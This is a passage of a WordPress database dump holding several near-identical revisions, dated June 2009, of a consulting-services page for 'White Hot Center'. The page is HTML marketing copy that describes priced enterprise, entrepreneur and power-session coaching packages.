and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span>\r\n\r\n<strong>White Hot Power Session™ Package</strong>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 00:36:26', '2009-06-30 07:36:26', '', 138, 'http://www.whitehotcenter.com/138-revision-12/', 0, 'revision', '', 0),
(302, 2, '2009-06-30 00:34:12', '2009-06-30 07:34:12', '<h2><strong><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, I can say with conviction there are only two simple operating principles behind every remarkable success in business and in life:</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">1)    what you do must matter to you</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">2)    what you do must matter to others</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">From my experience, this holds true for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. </span></strong></h2>\r\nThinking is the seed of innovation, growth and expansion and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought in the creative mind.\r\n\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong></strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong>“If you think you can or can’t– you’re right”.</strong></span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<strong>Enterprise Level Consulting Package</strong>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.\r\n\r\n<strong>Entrepreneur Level Consulting Package</strong>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span>\r\n\r\n<strong>White Hot Power Session™ Package</strong>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 00:34:12', '2009-06-30 07:34:12', '', 138, 'http://www.whitehotcenter.com/138-revision-11/', 0, 'revision', '', 0),
(301, 2, '2009-06-30 00:32:05', '2009-06-30 07:32:05', '<h2><strong><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, I can say with conviction there are only two simple operating principles behind every remarkable success in business and in life:</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">1)    what you do must matter to you</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">2)    what you do must matter to others</span></strong></h2>\r\n<h2><strong><span style="color: #ff6600;">And these principles don’t work at all when they are employed in reverse order. From my experience, this holds true for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. </span></strong></h2>\r\nThinking is the seed of innovation, growth and expansion and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought in the creative mind. As the iconic Henry Ford was fond of saying,<strong></strong><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong>“If you think you can or can’t– you’re right”.</strong></span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<strong>Enterprise Level Consulting Package</strong>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.\r\n\r\n<strong>Entrepreneur Level Consulting Package</strong>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span>\r\n\r\n<strong>White Hot Power Session™ Package</strong>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 00:32:05', '2009-06-30 07:32:05', '', 138, 'http://www.whitehotcenter.com/138-revision-10/', 0, 'revision', '', 0),
(318, 2, '2009-06-30 11:02:14', '2009-06-30 18:02:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds.gif"><img class="alignnone size-full wp-image-314" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\nThinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought seed in the creative mind.\r\n\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.\r\n<h2>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span>\r\n<h2>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 11:02:14', '2009-06-30 18:02:14', '', 138, 'http://www.whitehotcenter.com/138-revision-17/', 0, 'revision', '', 0),
(315, 2, '2009-06-30 01:02:35', '2009-06-30 08:02:35', '<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, I can say with conviction there are only two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">From my experience, this holds true for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span><strong><span style="color: #ff6600;"> </span></strong></h2>\r\nThinking is the seed of innovation, growth and expansion and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought in the creative mind.\r\n\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong>“If you think you can or can’t– you’re right”.</strong></span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.\r\n<h2>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span>\r\n<h2>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 01:02:35', '2009-06-30 08:02:35', '', 138, 'http://www.whitehotcenter.com/138-revision-14/', 0, 'revision', '', 0),
(311, 2, '2009-06-30 00:46:03', '2009-06-30 07:46:03', '<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, I can say with conviction there are only two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">From my experience, this holds true for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span><strong><span style="color: #ff6600;"> </span></strong></h2>\r\nThinking is the seed of innovation, growth and expansion and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought in the creative mind.\r\n\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong>“If you think you can or can’t– you’re right”.</strong></span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.\r\n<h2>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span>\r\n<h2>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<strong>How to start</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.\r\n\r\n<strong>The only result I can promise from engaging in a White Hot Center Consulting Package is you will be inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness and unique capabilities, and inspire you to make courageous decisions about the strategic and creative aspects of growing your influence and contribution to the world through the venue of your business.</strong>\r\n\r\n<strong> </strong>', 'White Hot center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-06-30 00:46:03', '2009-06-30 07:46:03', '', 138, 'http://www.whitehotcenter.com/138-revision-13/', 0, 'revision', '', 0);
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(316, 2, '2009-06-30 10:50:29', '2009-06-30 17:50:29', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds.gif"><img class="alignnone size-full wp-image-314" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds.gif" alt="windseeds" width="450" height="270" /></a></h2>\r\n<h2><span style="color: #ff6600;">I can say with conviction there are only two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1)    what you do must matter to you</span></h2>\r\n<h2><span style="color: #ff6600;">2)    what you do must matter to others</span></h2>\r\n<h2><span style="color: #ff6600;">In twenty-five years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this holds true for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span><strong><span style="color: #ff6600;"> </span></strong></h2>\r\nThinking is the seed of innovation, growth and expansion and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be is, at first, a formless thought in the creative mind.\r\n\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong>“If you think you can or can’t– you’re right”.</strong></span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire with corporate executives, managers, creative entrepreneurs, and professionals to help them discover and define the white hot center of their competitive advantage, and then guide them in bringing to form the expression of that advantage at every client, customer, and personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $100 million +. Typically this package involves guidance and ideas with business leaders on strategic issues of positioning the enterprise, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive these engagements typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.  Learn more here</span>.\r\n<h2>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction around maintaining the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception your brand and your business, and to help you express your unique advantage in ways that influence greater results toward your bigger future.\r\n<span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration. Learn more here.</span>\r\n<h2>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span>\r\nIncludes (5) 1-hour Power Session Jams, or a full day off-site Immersion Jam to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here (pdf download)\r\n\r\n<span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span>\r\nThe individual Power Session is designed to spark your imagination, ignite wild 